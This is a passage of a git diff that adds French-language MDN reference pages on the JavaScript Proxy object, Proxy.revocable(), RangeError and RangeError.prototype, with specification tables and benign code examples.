+Object.setPrototypeOf(p2, newProto);
+// lève une exception new Error("erreur custom")
+Reflect.setPrototypeOf(p2, newProto);
+// lève une exception new Error("erreur custom")</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-object-internal-methods-and-internal-slots-setprototypeof-v', '[[SetPrototypeOf]]')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.handler.setPrototypeOf")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+ <li>{{jsxref("Proxy.handler", "handler")}}</li>
+ <li>{{jsxref("Object.setPrototypeOf()")}}</li>
+ <li>{{jsxref("Reflect.setPrototypeOf()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/index.html
new file mode 100644
index 0000000000..095515482d
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/index.html
@@ -0,0 +1,407 @@
+---
+title: Proxy
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <strong>Proxy</strong> est utilisé afin de définir un comportement sur mesure pour certaines opérations fondamentales (par exemple, l'accès aux propriétés, les affectations, les énumérations, les appels de fonctions, etc.).</p>
+
+<h2 id="Terminologie">Terminologie</h2>
+
+<dl>
+ <dt><a href="/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler">gestionnaire</a> (<em>handler</em>)</dt>
+ <dd>Un objet qui contient les trappes qui intercepteront les opérations.</dd>
+ <dt>trappes</dt>
+ <dd>Les méthodes qui fournissent l'accès aux propriétés. Ce concept est analogue aux <a href="https://en.wikipedia.org/wiki/Trap_%28computing%29">trappes</a> utilisées dans les systèmes d'exploitations.</dd>
+ <dt>cible</dt>
+ <dd>L'objet virtualisé par le proxy. Il est souvent utilisé comme objet de stockage. Les invariants (c'est-à-dire les éléments de sémantique qui restent inchangés) relatifs à la non-extensibilité et au caractère non-configurable des propriétés sont vérifiés par rapport à la cible.</dd>
+</dl>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">var p = new Proxy(cible, gestionnaire);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>cible</code></dt>
+ <dd>Une cible (qui peut être n'importe quel objet, un tableau, une fonction, ou même un autre proxy) qu'on souhaite envelopper dans un <code>Proxy</code>.</dd>
+ <dt><code>gestionnaire</code></dt>
+ <dd>Un objet dont les propriétés sont des fonctions qui définissent le comportement du proxy lorsqu'on utilise une opération sur celui-ci.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<dl>
+ <dt>{{jsxref("Proxy.revocable()")}}</dt>
+ <dd>Permet de créer un objet <code>Proxy</code> révocable.</dd>
+</dl>
+
+<h2 id="Méthodes_pour_le_gestionnaire">Méthodes pour le gestionnaire</h2>
+
+<p>L'objet utilisé comme gestionnaire regroupe les différentes fonctions « trappes » pour le <code>Proxy</code>.</p>
+
+<div>{{page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy/handler', 'Méthodes') }}</div>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Exemple_simple">Exemple simple</h3>
+
+<p>Dans ce court exemple, on renvoie le nombre <code>37</code> comme valeur par défaut lorsque la propriété nommée n'est pas présente dans l'objet. Pour cela, on utilise le gestionnaire correspondant à {{jsxref("Objets_globaux/Proxy/handler/get","get")}}.</p>
+
+<pre class="brush: js">var handler = {
+    get: function(obj, prop){
+        return prop in obj?
+            obj[prop] :
+            37;
+    }
+};
+
+var p = new Proxy({}, handler);
+p.a = 1;
+p.b = undefined;
+
+console.log(p.a, p.b); // 1, undefined
+console.log('c' in p, p.c); // false, 37
+</pre>
+
+<h3 id="Proxy_«_invisible_»">Proxy « invisible »</h3>
+
+<p>Dans cet exemple, le proxy transfère toutes les opérations qui sont appliquées à l'objet cible.</p>
+
+<pre class="brush: js">var cible = {};
+var p = new Proxy(cible, {});
+
+p.a = 37; // L'opération est transmise à la cible par le proxy
+
+console.log(cible.a); // 37. L'opération a bien été transmise
+</pre>
+
+<h3 id="Validation">Validation</h3>
+
+<p>En utilisant un <code>Proxy</code>, il devient simple de valider les valeurs passées à un objet. Dans cet exemple, on utilise le gestionnaire correspondant à {{jsxref("Objets_globaux/Proxy/handler/set","set")}}.</p>
+
+<pre class="brush: js">let validateur = {
+  set: function(obj, prop, valeur) {
+    if (prop === 'âge') {
+      if (!Number.isInteger(valeur)) {
+        throw new TypeError('Cet âge n\'est pas un entier.');
+      }
+      if (valeur &gt; 200) {
+        throw new RangeError('Cet âge semble invalide.');
+      }
+    }
+
+    // Le comportement par défaut : enregistrer la valeur
+    obj[prop] = valeur;
+
+    // On indique le succès de l'opération
+    return true;
+  }
+};
+
+let personne = new Proxy({}, validateur);
+
+personne.âge = 100;
+console.log(personne.âge); // 100
+personne.âge = 'jeune';    // lève une exception
+personne.âge = 300;        // lève une exception
+</pre>
+
+<h3 id="Étendre_un_constructeur">Étendre un constructeur</h3>
+
+<p>En utilisant une fonction proxy, on peut étendre un constructeur avec un nouveau constructeur. Dans cet exemple, on utilise les gestionnaires correspondants à {{jsxref("Objets_globaux/Proxy/handler/construct","construct")}} et {{jsxref("Objets_globaux/Proxy/handler/apply","apply")}}.</p>
+
+<pre class="brush: js">function étendre(sup,base) {
+  var descripteur = Object.getOwnPropertyDescriptor(
+    base.prototype, "constructor"
+  );
+  base.prototype = Object.create(sup.prototype);
+  var gestionnaire = {
+    construct: function(cible, args) {
+      var obj = Object.create(base.prototype);
+      this.apply(cible,obj,args);
+      return obj;
+    },
+    apply: function(cible, that, args) {
+      sup.apply(that,args);
+      base.apply(that,args);
+    }
+  };
+  var proxy = new Proxy(base,gestionnaire);
+  descripteur.value = proxy;
+  Object.defineProperty(base.prototype, "constructor", descripteur);
+  return proxy;
+}
+
+var Personne = function(nom){
+  this.nom = nom;
+};
+
+var Garçon = étendre(Personne, function(nom, âge) {
+  this.âge = âge;
+});
+
+Garçon.prototype.genre = "M";
+
+var Pierre = new Garçon("Pierre", 13);
+console.log(Pierre.genre);  // "M"
+console.log(Pierre.nom);  // "Pierre"
+console.log(Pierre.âge);  // 13</pre>
+
+<h3 id="Manipuler_les_nœuds_DOM">Manipuler les nœuds DOM</h3>
+
+<p>Parfois, on veut passer un attribut ou un nom de classe entre deux éléments différents. Dans cet exemple, on utilise le gestionnaire lié à {{jsxref("Objets_globaux/Proxy/handler/set","set")}}.</p>
+
+<pre class="brush: js">let vue = new Proxy({
+  selected: null
+},
+{
+  set: function(obj, prop, nouvelleValeur) {
+    let ancienneValeur = obj[prop];
+
+    if (prop === 'selected') {
+      if (ancienneValeur) {
+        ancienneValeur.setAttribute('aria-selected', 'false');
+      }
+      if (nouvelleValeur) {
+        nouvelleValeur.setAttribute('aria-selected', 'true');
+      }
+    }
+
+    // Le comportement par défaut : enregistrer la valeur
+    obj[prop] = nouvelleValeur;
+
+    // On indique le succès de l'opération
+    return true;
+  }
+});
+
+let i1 = vue.selected = document.getElementById('item-1');
+console.log(i1.getAttribute('aria-selected')); // 'true'
+
+let i2 = vue.selected = document.getElementById('item-2');
+console.log(i1.getAttribute('aria-selected')); // 'false'
+console.log(i2.getAttribute('aria-selected')); // 'true'
+</pre>
+
+<h3 id="Corriger_une_valeur_et_ajouter_une_propriété_supplémentaire">Corriger une valeur et ajouter une propriété supplémentaire</h3>
+
+<p>Dans l'exemple qui suit, le proxy <code>produits</code> évalue la valeur passée et la convertit en tableau si besoin. L'objet supporte également la propriété supplémentaire <code>dernierNavigateur</code> à la fois comme accesseur et mutateur.</p>
+
+<pre class="brush: js">let produits = new Proxy({
+  navigateurs: ['Internet Explorer', 'Netscape']
+},
+{
+  get: function(obj, prop) {
+    // Une propriété supplémentaire
+    if (prop === 'dernierNavigateur') {
+      return obj.navigateurs[obj.navigateurs.length - 1];
+    }
+
+    // Le comportement par défaut : renvoyer la valeur
+    return obj[prop];
+  },
+  set: function(obj, prop, valeur) {
+    // Une propriété supplémentaire
+    if (prop === 'dernierNavigateur') {
+      obj.navigateurs.push(valeur);
+      return true;
+    }
+
+    // on convertit la valeur si ce n'est pas un tableau
+    if (typeof valeur === 'string') {
+      valeur = [valeur];
+    }
+
+    // Le comportement par défaut : enregistrer la valeur
+    obj[prop] = valeur;
+
+    // On indique le succès de l'opération
+    return true;
+  }
+});
+
+console.log(produits.navigateurs); // ['Internet Explorer', 'Netscape']
+produits.navigateurs = 'Firefox'; // on passe une chaîne
+console.log(produits.navigateurs); // ['Firefox'] &lt;- pas de problème, elle est convertie en tableau
+
+produits.dernierNavigateur = 'Chrome';
+console.log(produits.navigateurs); // ['Firefox', 'Chrome']
+console.log(produits.dernierNavigateur); // 'Chrome'
+</pre>
+
+<h3 id="Trouver_un_élément_dans_un_tableau_grâce_à_sa_propriété">Trouver un élément dans un tableau grâce à sa propriété</h3>
+
+<p>Dans cet exemple, ce proxy étend le tableau avec des fonctionnalités supplémentaires. Ici, on définit des propriétés sans utiliser {{jsxref("Objets_globaux/Object/defineProperties","Object.defineProperties")}}. Cet exemple pourrait être adapté pour trouver la ligne d'un tableau à partir d'une de ces cellules (la cible serait alors <a href="/fr/docs/Web/API/HTMLTableElement.rows"><code>table.rows</code></a>).</p>
+
+<pre class="brush: js">let produits = new Proxy([
+  { nom: 'Firefox', type: 'navigateur' },
+  { nom: 'SeaMonkey', type: 'navigateur' },
+  { nom: 'Thunderbird', type: 'client mail' }
+],
+{
+  get: function(obj, prop) {
+    // Le comportement par défaut : on renvoie la valeur
+    // prop est généralement un entier
+    if (prop in obj) {
+      return obj[prop];
+    }
+
+    // On obtient le nombre de produits
+    // un alias pour products.length
+    if (prop === 'nombre') {
+      return obj.length;
+    }
+
+    let résultat, types = {};
+
+    for (let produit of obj) {
+      if (produit.nom === prop) {
+        résultat = produit;
+      }
+      if (types[produit.type]) {
+        types[produit.type].push(produit);
+      } else {
+        types[produit.type] = [produit];
+      }
+    }
+
+    // Obtenir un produit grâce à un nom
+    if (résultat) {
+      return résultat;
+    }
+
+    // Obtenir un produit par type
+    if (prop in types) {
+      return types[prop];
+    }
+
+    // Obtenir les types de produits
+    if (prop === 'types') {
+      return Object.keys(types);
+    }
+
+    return undefined;
+  }
+});
+
+console.log(produits[0]); // { nom: 'Firefox', type: 'navigateur' }
+console.log(produits['Firefox']); // { nom: 'Firefox', type: 'navigateur' }
+console.log(produits['Chrome']); // undefined
+console.log(produits.navigateur); // [{ nom: 'Firefox', type: 'navigateur' }, { nom: 'SeaMonkey', type: 'navigateur' }]
+console.log(produits.types); // ['navigateur', 'client mail']
+console.log(produits.nombre); // 3
+</pre>
+
+<h3 id="Un_exemple_avec_toutes_les_trappes">Un exemple avec toutes les trappes</h3>
+
+<p>Pour illustrer l'ensemble des trappes, on tente de « proxifier » un objet non natif : l'objet global <code>docCookies</code> créé grâce à <a href="/fr/docs/Web/API/Document/cookie/Simple_document.cookie_framework">cet exemple</a>.</p>
+
+<pre class="brush: js">/*
+  var docCookies = ... définir l'objet "docCookies" grâce à
+  https://developer.mozilla.org/en-US/docs/DOM/document.cookie#A_little_framework.3A_a_complete_cookies_reader.2Fwriter_with_full_unicode_support
+*/
+
+var docCookies = new Proxy(docCookies, {
+  "get": function (oTarget, sKey) {
+    return oTarget[sKey] || oTarget.getItem(sKey) || undefined;
+  },
+  "set": function (oTarget, sKey, vValue) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.setItem(sKey, vValue);
+  },
+  "deleteProperty": function (oTarget, sKey) {
+    if (sKey in oTarget) { return false; }
+    return oTarget.removeItem(sKey);
+  },
+  "enumerate": function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  "ownKeys": function (oTarget, sKey) {
+    return oTarget.keys();
+  },
+  "has": function (oTarget, sKey) {
+    return sKey in oTarget || oTarget.hasItem(sKey);
+  },
+  "defineProperty": function (oTarget, sKey, oDesc) {
+    if (oDesc &amp;&amp; "value" in oDesc) { oTarget.setItem(sKey, oDesc.value); }
+    return oTarget;
+  },
+  "getOwnPropertyDescriptor": function (oTarget, sKey) {
+    var vValue = oTarget.getItem(sKey);
+    return vValue ? {
+      "value": vValue,
+      "writable": true,
+      "enumerable": true,
+      "configurable": false
+    } : undefined;
+  },
+});
+
+/* Cookies test */
+
+console.log(docCookies.mon_cookie1 = "Première valeur");
+console.log(docCookies.getItem("mon_cookie1"));
+
+docCookies.setItem("mon_cookie1", "Valeur modifiée");
+console.log(docCookies.mon_cookie1);</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2016', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2016')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2017', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ES2017')}}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy-objects', 'Proxy')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td></td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy", 2)}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li><a href="https://www.youtube.com/watch?v=sClk6aB_CPk">“Proxies are awesome”, une présentation de Brendan Eich à JSConf</a> (en anglais) (<a href="https://www.slideshare.net/BrendanEich/metaprog-5303821">présentation</a>)</li>
+ <li><a href="https://wiki.ecmascript.org/doku.php?id=harmony:proxies">La page pour la proposition ECMAScript Harmony sur Proxy</a> et <a href="https://wiki.ecmascript.org/doku.php?id=harmony:proxies_semantics">la page sur la sémantique des proxies ECMAScript Harmony</a></li>
+ <li><a href="http://web.archive.org/web/20171007221059/http://soft.vub.ac.be/~tvcutsem/proxies/">Un tutoriel sur les proxies</a> (en anglais)</li>
+ <li><a href="/fr/docs/JavaScript/Old_Proxy_API">L'ancienne API pour les Proxy SpiderMonkey</a></li>
+ <li>{{jsxref("Object.watch()")}}, une fonctionnalité non-standard présente dans Gecko.</li>
+</ul>
+
+<h2 id="Notes_de_licence">Notes de licence</h2>
+
+<p>Certains composants de cette page (texte, exemples) ont été copiés ou adaptés du <a href="https://wiki.ecmascript.org/doku.php">Wiki ECMAScript</a> dont le contenu est sous licence <a href="https://creativecommons.org/licenses/by-nc-sa/2.0/">CC 2.0 BY-NC-SA</a>.</p>
diff --git a/files/fr/web/javascript/reference/objets_globaux/proxy/revocable/index.html b/files/fr/web/javascript/reference/objets_globaux/proxy/revocable/index.html
new file mode 100644
index 0000000000..794c7f95be
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/proxy/revocable/index.html
@@ -0,0 +1,92 @@
+---
+title: Proxy.revocable()
+slug: Web/JavaScript/Reference/Objets_globaux/Proxy/revocable
+tags:
+  - ECMAScript 2015
+  - JavaScript
+  - Méthode
+  - Proxy
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/Proxy/revocable
+---
+<div>{{JSRef}}</div>
+
+<p>La méthode <code><strong>Proxy.revocable()</strong></code> est utilisée afin de créer un objet {{jsxref("Proxy")}} révocable.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">Proxy.revocable(cible, gestionnaire);
+</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<div>{{Page("/fr/docs/Web/JavaScript/Reference/Objets_globaux/Proxy", "Paramètres")}}</div>
+
+<h3 id="Valeur_de_retour">Valeur de retour</h3>
+
+<p>Un nouvel objet <code>Proxy</code> révocable est renvoyé par la méthode.</p>
+
+<h2 id="Description">Description</h2>
+
+<p>Un <code>Proxy</code> révocable est un objet qui possède les propriétés suivantes : <code>{proxy: proxy, revoke: revoke}</code>.</p>
+
+<dl>
+ <dt><code>proxy</code></dt>
+ <dd>Un proxy crée avec un appel à <code>new Proxy(cible, gestionnaire)</code>.</dd>
+ <dt><code>revoke</code></dt>
+ <dd>Une fonction sans argument qui permet de désactiver le proxy.</dd>
+</dl>
+
+<p>Si la fonction <code>revoke()</code> est appelée, le proxy devient inutilisable et toutes les trappes définies via un gestionnaire lèveront une exception {{jsxref("TypeError")}}. Une fois que le proxy est révoqué, il conserve cet état et peut être traité par le ramasse-miettes. D'éventuels appels suivants à <code>revoke()</code> n'auront aucun effet.</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<pre class="brush: js">var révocable = Proxy.revocable({}, {
+  get: function(cible, nom) {
+    return "[[" + nom + "]]";
+  }
+});
+var proxy = révocable.proxy;
+console.log(proxy.toto); // "[[toto]]"
+
+révocable.revoke();
+
+console.log(proxy.toto); // TypeError est levée
+proxy.toto = 1           // TypeError à nouveau
+delete proxy.toto        // TypeError toujours
+typeof proxy             // "object", typeof ne déclenche aucune trappe
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES2015', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}</td>
+   <td>{{Spec2('ES2015')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-proxy.revocable', 'Proxy Revocation Functions')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div class="hidden">Ce tableau de compatibilité a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à envoyer une <em>pull request</em> sur <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a>.</div>
+
+<p>{{Compat("javascript.builtins.Proxy.revocable")}}</p>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Proxy")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/rangeerror/index.html b/files/fr/web/javascript/reference/objets_globaux/rangeerror/index.html
new file mode 100644
index 0000000000..e57f56c4dd
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/rangeerror/index.html
@@ -0,0 +1,150 @@
+---
+title: RangeError
+slug: Web/JavaScript/Reference/Objets_globaux/RangeError
+tags:
+  - Error
+  - JavaScript
+  - RangeError
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p>L'objet <code><strong>RangeError</strong></code> permet d'indiquer une erreur lorsqu'une valeur fournie n'appartient pas à l'intervalle autorisé.</p>
+
+<h2 id="Syntaxe">Syntaxe</h2>
+
+<pre class="syntaxbox">new RangeError([<var>message</var>[, nomFichier[, numLigne]]])</pre>
+
+<h3 id="Paramètres">Paramètres</h3>
+
+<dl>
+ <dt><code>message</code></dt>
+ <dd>Paramètre optionnel. Une description lisible (humainement) de l'erreur.</dd>
+</dl>
+
+<dl>
+ <dt><code>nomFichier</code> {{non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le nom du fichier contenant le code à l'origine de cette exception.</dd>
+</dl>
+
+<dl>
+ <dt><code>numLigne </code>{{non-standard_inline}}</dt>
+ <dd>Paramètre optionnel. Le numéro de la ligne du code à l'origine de cette exception.</dd>
+</dl>
+
+<h2 id="Description">Description</h2>
+
+<p>Une exception <code>RangeError</code> est levée lorsqu'une valeur est passée comme argument à une fonction qui n'accepte pas de valeurs dans cet intervalle. Par exemple, cela peut être le cas quand on souhaite créer un tableau avec une longueur illégale via {{jsxref("Array")}} ou lorsqu'on passe des valeurs incorrectes aux méthodes {{jsxref("Number.toExponential()")}}, {{jsxref("Number.toFixed()")}} ou {{jsxref("Number.toPrecision()")}}. Cette exception n'est pas limitée aux problèmes d'intervalles numériques et peuvent également se produire lorsqu'on passe une valeur non autorisée à {{jsxref("String.prototype.normalize()")}}.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt>{{jsxref("RangeError.prototype")}}</dt>
+ <dd>Cette propriété permet d'ajouter des propriétés à toutes les instances de <code>RangeError</code>.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>L'objet global <code>RangeError</code> ne contient pas de méthodes propres mais héritent de certaines méthodes via la chaîne de prototypes.</p>
+
+<h2 id="Instances_de_RangeError">Instances de <code>RangeError</code></h2>
+
+<h3 id="Propriétés_2">Propriétés</h3>
+
+<p>{{ page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/RangeError/prototype','Properties') }}</p>
+
+<h3 id="Méthodes_2">Méthodes</h3>
+
+<p>{{ page('/fr/docs/Web/JavaScript/Reference/Objets_globaux/Object/RangeError/prototype','Methods') }}</p>
+
+<h2 id="Exemples">Exemples</h2>
+
+<h3 id="Utiliser_RangeError">Utiliser <code>RangeError</code></h3>
+
+<pre class="brush: js">var MIN = 200;
+var MAX = 300;
+var vérifier = function( num ) {
+  if( num &lt; MIN || num &gt; MAX ) {
+    throw new RangeError( "Le paramètre doit être compris entre " + MIN + " et " + MAX );
+  }
+};
+
+try {
+  vérifier(500);
+}
+catch (e) {
+  if (e instanceof RangeError ){
+    // On gère ce qui se passe en cas d'erreur
+  }
+}</pre>
+
+<h3 id="Utiliser_RangeError_avec_des_valeurs_non-numériques">Utiliser <code>RangeError</code> avec des valeurs non-numériques</h3>
+
+<pre class="brush: js">function verifier(valeur){
+  if(["pomme", "banane", "carotte"].includes(valeur) === false){
+    throw new RangeError("L'argument n'est pas un fruit parmi pomme / banane ou carotte.");
+  }
+}
+
+try {
+  verifier("chou");
+}
+catch(erreur) {
+  if(erreur instanceof RangeError){
+    //On gère ce qui se passe en cas d'erreur
+  }
+}
+</pre>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">État</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.6.2', 'RangeError')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td> </td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-native-error-types-used-in-this-standard-rangeerror', 'RangeError')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td> </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
+<p>{{Compat("javascript.builtins.RangeError")}}</p>
+</div>
+
+<h2 id="Voir_aussi">Voir aussi</h2>
+
+<ul>
+ <li>{{jsxref("Error")}}</li>
+ <li>{{jsxref("Array")}}</li>
+ <li>{{jsxref("RangeError.prototype")}}</li>
+ <li>{{jsxref("Number.toExponential()")}}</li>
+ <li>{{jsxref("Number.toFixed()")}}</li>
+ <li>{{jsxref("Number.toPrecision()")}}</li>
+ <li>{{jsxref("String.prototype.normalize()")}}</li>
+</ul>
diff --git a/files/fr/web/javascript/reference/objets_globaux/rangeerror/prototype/index.html b/files/fr/web/javascript/reference/objets_globaux/rangeerror/prototype/index.html
new file mode 100644
index 0000000000..12699abbf7
--- /dev/null
+++ b/files/fr/web/javascript/reference/objets_globaux/rangeerror/prototype/index.html
@@ -0,0 +1,91 @@
+---
+title: RangeError.prototype
+slug: Web/JavaScript/Reference/Objets_globaux/RangeError/prototype
+tags:
+  - Error
+  - JavaScript
+  - Propriété
+  - Prototype
+  - RangeError
+  - Reference
+translation_of: Web/JavaScript/Reference/Global_Objects/RangeError
+---
+<div>{{JSRef}}</div>
+
+<p>La propriété <code><strong>RangeError.prototype</strong></code> représente le prototype du constructeur {{jsxref("RangeError")}}.</p>
+
+<div>{{js_property_attributes(0, 0, 0)}}</div>
+
+<h2 id="Description">Description</h2>
+
+<p>Chacune des instances de {{jsxref("RangeError")}} hérite de <code>RangeError.prototype</code>. Le prototype peut être utilisé afin d'ajouter des propriétés et/ou des méthodes à toutes les instances.</p>
+
+<h2 id="Propriétés">Propriétés</h2>
+
+<dl>
+ <dt><code>RangeError.prototype.constructor</code></dt>
+ <dd>Définit la fonction qui a créé le prototype de l'instance.</dd>
+ <dt>{{jsxref("Error.prototype.message", "RangeError.prototype.message")}}</dt>
+ <dd>Le nom de l'erreur. Bien que ECMA-262 spécifie que {{jsxref("RangeError")}} devrait fournir sa propre propriété <code>message</code>, dans <a href="/fr/docs/SpiderMonkey" title="SpiderMonkey">SpiderMonkey</a>, il l'hérite depuis {{jsxref("Error.prototype.message")}}.</dd>
+ <dt>{{jsxref("Error.prototype.name", "RangeError.prototype.name")}}</dt>
+ <dd>Le nom de l'erreur, hérité depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.fileName", "RangeError.prototype.fileName")}}</dt>
+ <dd>Le chemin vers le fichier qui a causé l'erreur, hérité depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.lineNumber", "RangeError.prototype.lineNumber")}}</dt>
+ <dd>Le numéro de la ligne de code dans le fichier qui a causé l'erreur, hérité depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.columnNumber", "RangeError.prototype.columnNumber")}}</dt>
+ <dd>La position du code (colonne) dans la ligne de code qui a causé l'erreur, héritée depuis {{jsxref("Error")}}.</dd>
+ <dt>{{jsxref("Error.prototype.stack", "RangeError.prototype.stack")}}</dt>
+ <dd>Pile d'appels, héritée depuis {{jsxref("Error")}}.</dd>
+</dl>
+
+<h2 id="Méthodes">Méthodes</h2>
+
+<p>Bien que l'objet prototype {{jsxref("RangeError")}} ne possède pas de méthodes propres, les instances de <code>RangeError</code> hériteront de certaines méthodes via la chaîne de prototypes.</p>
+
+<h2 id="Spécifications">Spécifications</h2>
+
+<table class="standard-table">
+ <tbody>
+  <tr>
+   <th scope="col">Spécification</th>
+   <th scope="col">Statut</th>
+   <th scope="col">Commentaires</th>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES3')}}</td>
+   <td>{{Spec2('ES3')}}</td>
+   <td>Définition initiale.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES5.1', '#sec-15.11.7.6', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES5.1')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ES6', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ES6')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+  <tr>
+   <td>{{SpecName('ESDraft', '#sec-nativeerror.prototype', 'NativeError.prototype')}}</td>
+   <td>{{Spec2('ESDraft')}}</td>
+   <td>Défini comme <code><em>NativeError</em>.prototype</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Compatibilité_des_navigateurs">Compatibilité des navigateurs</h2>
+
+<div>
+<div class="hidden">Le tableau de compatibilité de cette page a été généré à partir de données structurées. Si vous souhaitez contribuer à ces données, n'hésitez pas à consulter <a href="https://github.com/mdn/browser-compat-data">https://github.com/mdn/browser-compat-data</a> et à nous envoyer une <em>pull request</em>.</div>
+
